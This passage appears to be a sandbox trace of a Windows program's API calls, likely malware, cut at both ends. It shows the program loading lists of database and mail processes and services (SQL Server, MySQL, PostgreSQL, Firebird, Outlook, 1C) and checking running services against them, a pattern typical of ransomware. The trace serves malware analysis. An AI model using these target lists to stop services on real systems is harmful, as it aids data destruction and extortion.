hHeap=0x5b0000) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63c970 | out: hHeap=0x5b0000) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f45a0 | out: hHeap=0x5b0000) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ca18 | out: hHeap=0x5b0000) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f4f30 | out: hHeap=0x5b0000) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63c958 | out: hHeap=0x5b0000) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f6318 | out: hHeap=0x5b0000) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63c9d0 | out: hHeap=0x5b0000) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f61f8 | out: hHeap=0x5b0000) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63c9e8 | out: hHeap=0x5b0000) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f6288 | out: hHeap=0x5b0000) returned 1 [0100.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ca30 | out: hHeap=0x5b0000) returned 1 [0100.785] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63ca90, Size=0x20) returned 0x5ee958 [0100.786] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ee958, Size=0x40) returned 0x5ca4b0 [0100.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d250 | out: hHeap=0x5b0000) returned 1 [0100.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63cbb0 | out: hHeap=0x5b0000) returned 1 [0100.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f5fd0 | out: hHeap=0x5b0000) returned 1 [0100.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63c910 | out: hHeap=0x5b0000) returned 1 [0100.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f46b0 | out: hHeap=0x5b0000) returned 1 [0100.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63c8e0 | out: hHeap=0x5b0000) returned 1 [0100.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d1c0 | out: hHeap=0x5b0000) returned 1 [0100.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63c940 | out: hHeap=0x5b0000) returned 1 [0100.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c6228 | out: hHeap=0x5b0000) returned 1 [0100.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c57f0 | out: hHeap=0x5b0000) returned 1 [0100.786] lstrlenW (lpString="%systemdrive%") returned 13 [0100.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eebb0 | out: hHeap=0x5b0000) returned 1 [0100.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f4b78 | out: hHeap=0x5b0000) returned 1 [0100.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d230 | out: hHeap=0x5b0000) returned 1 [0100.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x61af58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0100.786] WaitForMultipleObjects (nCount=0x2, lpHandles=0x5cb2b8*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x770 Thread: id = 4 os_tid = 0x6e4 [0100.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x63c958 [0100.834] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63c958, Size=0x20) returned 0x5ee9d0 [0100.835] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ee9d0, Size=0x40) returned 0x5ca2b8 [0100.835] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca2b8, Size=0x80) returned 0x5f4f30 [0100.835] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f4f30, Size=0x100) returned 0x5f61e0 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x63ca78 [0100.835] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63ca78, Size=0x20) returned 0x5eec50 [0100.835] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eec50, Size=0x40) returned 0x5ca228 [0100.835] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca228, Size=0x80) returned 0x5f4050 [0100.835] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f4050, Size=0x100) returned 0x5f62e8 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63c910 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x63d320 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x63c9e8 [0100.835] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d320, Size=0x8) returned 0x63d220 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5c57d0 [0100.835] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d220, Size=0x10) returned 0x63c940 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5c57b0 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1a) returned 0x5eebb0 [0100.835] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63c940, Size=0x20) returned 0x5eea98 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5ee8b8 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x16) returned 0x5c5770 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1a) returned 0x5eec50 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x63ca18 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x63d1e0 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5ca4f8 [0100.835] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d1e0, Size=0x8) returned 0x63d320 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3c) returned 0x5ca228 [0100.835] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63d320, Size=0x10) returned 0x63c940 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5c5790 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5c5570 [0100.835] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x63c940, Size=0x20) returned 0x5eeae8 [0100.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5c5fe8 [0100.835] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0100.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f61e0 | out: hHeap=0x5b0000) returned 1 [0100.836] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0100.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f62e8 | out: hHeap=0x5b0000) returned 1 [0100.836] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eec78 [0100.836] EnumServicesStatusExW (in: hSCManager=0x5eec78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0100.836] GetLastError () returned 0xea [0100.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d48) returned 0x60d420 [0100.837] EnumServicesStatusExW (in: hSCManager=0x5eec78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60d420, cbBufSize=0x1d48, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60d420, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0100.837] CloseServiceHandle (hSCObject=0x5eec78) returned 1 [0100.838] lstrlenW (lpString="Appinfo") returned 7 [0100.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0100.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0100.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0100.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0100.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0100.838] lstrlenW (lpString="AppXSvc") returned 7 [0100.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0100.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0100.838] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0100.838] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0100.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0100.838] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0100.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0100.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0100.838] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0100.838] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0100.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0100.838] lstrlenW (lpString="Audiosrv") returned 8 [0100.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0100.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0100.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0100.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0100.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0100.838] lstrlenW (lpString="BFE") returned 3 [0100.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0100.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0100.838] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0100.838] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0100.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0100.838] lstrlenW (lpString="BITS") returned 4 [0100.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0100.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0100.838] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0100.839] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0100.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0100.839] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0100.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0100.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0100.839] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0100.839] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0100.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0100.839] lstrlenW (lpString="CDPSvc") returned 6 [0100.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0100.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0100.839] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0100.839] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0100.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0100.839] lstrlenW (lpString="ClickToRunSvc") returned 13 [0100.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0100.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0100.839] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0100.839] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0100.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0100.839] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0100.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0100.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0100.839] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0100.839] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0100.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0100.839] lstrlenW (lpString="CryptSvc") returned 8 [0100.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0100.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0100.839] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0100.839] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0100.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0100.840] lstrlenW (lpString="DcomLaunch") returned 10 [0100.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0100.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0100.840] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0100.840] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0100.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0100.840] lstrlenW (lpString="DeviceAssociationService") returned 24 [0100.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0100.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0100.840] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0100.840] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0100.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0100.840] lstrlenW (lpString="Dhcp") returned 4 [0100.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0100.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0100.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0100.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0100.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0100.840] lstrlenW (lpString="Dnscache") returned 8 [0100.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0100.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0100.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0100.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0100.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0100.840] lstrlenW (lpString="DoSvc") returned 5 [0100.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0100.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0100.840] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0100.840] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0100.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0100.841] lstrlenW (lpString="DPS") returned 3 [0100.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0100.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0100.841] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0100.841] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0100.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0100.841] lstrlenW (lpString="DusmSvc") returned 7 [0100.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0100.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0100.841] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0100.841] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0100.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0100.841] lstrlenW (lpString="EventLog") returned 8 [0100.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0100.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0100.841] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0100.841] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0100.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0100.841] lstrlenW (lpString="EventSystem") returned 11 [0100.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0100.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0100.841] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0100.841] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0100.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0100.841] lstrlenW (lpString="FontCache") returned 9 [0100.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0100.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0100.841] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0100.841] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0100.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0100.841] lstrlenW (lpString="gpsvc") returned 5 [0100.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0100.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0100.842] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0100.842] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0100.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0100.842] lstrlenW (lpString="iphlpsvc") returned 8 [0100.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0100.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0100.842] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0100.842] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0100.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0100.842] lstrlenW (lpString="KeyIso") returned 6 [0100.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0100.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0100.842] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0100.842] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0100.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0100.842] lstrlenW (lpString="LanmanServer") returned 12 [0100.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0100.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0100.842] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0100.842] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0100.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0100.842] lstrlenW (lpString="LanmanWorkstation") returned 17 [0100.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0100.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0100.842] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0100.842] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0100.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0100.842] lstrlenW (lpString="lfsvc") returned 5 [0100.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0100.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0100.843] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0100.843] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0100.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0100.843] lstrlenW (lpString="lmhosts") returned 7 [0100.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0100.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0100.843] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0100.843] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0100.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0100.843] lstrlenW (lpString="LSM") returned 3 [0100.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0100.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0100.843] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0100.843] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0100.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0100.843] lstrlenW (lpString="MpsSvc") returned 6 [0100.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0100.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0100.843] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0100.843] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0100.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0100.843] lstrlenW (lpString="NcbService") returned 10 [0100.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0100.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0100.843] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0100.843] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0100.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0100.843] lstrlenW (lpString="netprofm") returned 8 [0100.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0100.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0100.844] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0100.844] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0100.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0100.844] lstrlenW (lpString="NgcSvc") returned 6 [0100.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0100.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0100.844] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0100.844] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0100.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0100.844] lstrlenW (lpString="NlaSvc") returned 6 [0100.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0100.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0100.844] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0100.844] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0100.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0100.844] lstrlenW (lpString="nsi") returned 3 [0100.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0100.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0100.844] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0100.844] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0100.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0100.844] lstrlenW (lpString="PcaSvc") returned 6 [0100.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0100.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0100.844] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0100.844] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0100.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0100.844] lstrlenW (lpString="PlugPlay") returned 8 [0100.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0100.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0100.844] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0100.845] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0100.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0100.845] lstrlenW (lpString="Power") returned 5 [0100.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0100.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0100.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") 